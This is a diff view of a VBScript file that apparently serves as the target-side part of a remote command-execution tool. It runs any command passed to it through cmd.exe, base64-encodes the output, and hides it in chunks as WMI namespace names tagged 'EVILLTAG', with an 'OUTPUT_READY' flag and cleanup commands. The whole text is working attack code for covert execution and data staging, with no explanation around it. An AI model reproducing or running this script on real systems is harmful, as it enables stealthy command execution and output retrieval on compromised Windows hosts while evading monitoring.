|
| 1 | +Function encode(byVal strIn) |
| 2 | + Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" |
| 3 | + Dim w1, w2, w3, i, totalLen, strOut |
| 4 | + totalLen = Len(strIn) |
| 5 | + If Not ((totalLen Mod 3) = 0) Then totalLen = totalLen + 3 - (totalLen Mod 3) |
| 6 | + For i = 1 To totalLen Step 3 |
| 7 | + w1 = prepare( Mid( strIn, i, 1 ) ) |
| 8 | + w2 = prepare( Mid( strIn, i + 1, 1 ) ) |
| 9 | + w3 = prepare( Mid( strIn, i + 2, 1 ) ) |
| 10 | + strOut = strOut + Mid( Base64Chars, ( Int( w1 / 4 ) And 63 ) + 1 , 1 ) |
| 11 | + strOut = strOut + Mid( Base64Chars, ( ( w1 * 16 + Int( w2 / 16 ) ) And 63 ) + 1, 1 ) |
| 12 | + If (w2 Or w3) Then |
| 13 | + strOut = strOut + Mid( Base64Chars, ( ( w2 * 4 + Int( w3 / 64 ) ) And 63 ) + 1, 1 ) |
| 14 | + If w3 Then |
| 15 | + strOut = strOut + Mid( Base64Chars, (w3 And 63 ) + 1, 1) |
| 16 | + End If |
| 17 | + End If |
| 18 | + Next |
| 19 | + encode = strOut |
| 20 | +End Function |
| 21 | +Function prepare( byVal strIn ) |
| 22 | + If Len( strIn ) = 0 Then |
| 23 | + prepare = 0 : Exit Function |
| 24 | + Else |
| 25 | + prepare = Asc(strIn) |
| 26 | + End If |
| 27 | +End Function |
| 28 | +Function parseCmdOutput(cmdOutput) |
| 29 | + strLen = Len(cmdOutput) |
| 30 | + pieceLen = 5500 |
| 31 | + nbOfPieces = Int(strLen/pieceLen) |
| 32 | + For i = 1 to nbOfPieces |
| 33 | + piece = Left(cmdOutput,pieceLen) |
| 34 | + piece = " " + piece + " " |
| 35 | + cmdOutput = Mid(cmdOutput,pieceLen+1) |
| 36 | + insertPiece i,piece |
| 37 | + Next |
| 38 | + cmdOutput = " " + cmdOutput + " " |
| 39 | + insertPiece nbOfPieces+1,cmdOutput |
| 40 | +End Function |
| 41 | +Function insertPiece(ByVal number,ByVal piece) |
| 42 | + count = CStr(number) |
| 43 | + zeros = String(6 - Len(count), "0") |
| 44 | + tag = "EVILLTAG" + zeros + count |
| 45 | + piece = encode(piece) |
| 46 | + piece = Replace(piece,"+","Ó") |
| 47 | + piece = Replace(piece,"/","_") |
| 48 | + piece = tag + piece |
| 49 | + Set aShell = CreateObject("WScript.Shell") |
| 50 | + aShell.Exec("wmic /NAMESPACE:\\root\default PATH __Namespace CREATE Name='" + piece + "'") |
| 51 | + WScript.Sleep 50 |
| 52 | +End Function |
| 53 | +Set myShell = CreateObject("WScript.Shell") |
| 54 | +tmpDir = myShell.ExpandEnvironmentStrings("%TEMP%") |
| 55 | +Select Case WScript.Arguments.Item(0) |
| 56 | + Case "exit" |
| 57 | + myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete") |
| 58 | + myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete") |
| 59 | + Case Else |
| 60 | + myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like 'OUTPUT_READY'"" delete") |
| 61 | + myShell.Exec("wmic.exe /NAMESPACE:\\root\default PATH __Namespace where ""Name like '%EVILLTAG%'"" delete") |
| 62 | + set cmdExecution = myShell.exec("%comspec% /c " + WScript.Arguments.Item(0)) |
| 63 | + cmdOutput = cmdExecution.StdOut.ReadAll |
| 64 | + parseCmdOutput cmdOutput |
| 65 | + myShell.Exec("wmic /NAMESPACE:\\root\default PATH __Namespace CREATE Name='OUTPUT_READY'") |
| 66 | +End Select |
0 commit comments